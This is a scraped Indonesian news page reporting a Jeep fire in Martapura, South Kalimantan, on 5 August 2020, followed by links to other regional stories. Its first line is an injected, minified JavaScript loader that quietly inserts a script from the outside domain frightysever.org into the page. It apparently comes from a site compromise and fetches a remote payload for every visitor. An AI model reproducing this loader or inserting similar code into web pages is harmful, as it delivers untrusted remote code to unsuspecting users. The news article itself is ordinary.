(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, MARTAPURA – Warga Antasan Senor dibuat geger. Satu unit mobil ‘Jeep’ Nopol DA 1459 DL, terbakar di Jalan A Yani Km 43, Antasan Senor Ulu, Rabu (5/8/2020) pukul 19.10 Wita. Tidak ada korban jiwa dalam kasus ini.
Kepala UPT Pemadam Kebakaran Damkar Kabupaten Banjar Gusti Yudhi saat dihubungi Kanalkalimantan.com mengatakan, pihaknya langsung bergegas menuju lokasi kebakaran usai dapat informasi warga.
“Satu unit fire truck kami turunkan untuk memadamkan api. Sekitar pukul 19:23 Wita, petugas Damkar Kabupaten Banjar menyampai ke TKP, dan langsung melakukan penyemprotan. Api berhasil di padamkan sekitar 10 menit, bersama rekanan BPK/PMK gabungan Kabupaten Banjar,” katanya.
Akibat kebakaran tersebut, kondisi mobil mengalami rusak berat. “Diketahui pengemudi mobil tersebut bernama Mustofa, warga asal Blitar, Jawa Timur,” tambah Gusti Yudhi.
Diduga, kebakaran mobil tersebut akibat terkadinya korsleting di bagian accu yang tersambung ke mesin. (Kanalkalimantan.com/wahyu)
Reporter: Wahyu
Editor: Cell
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
This website uses cookies.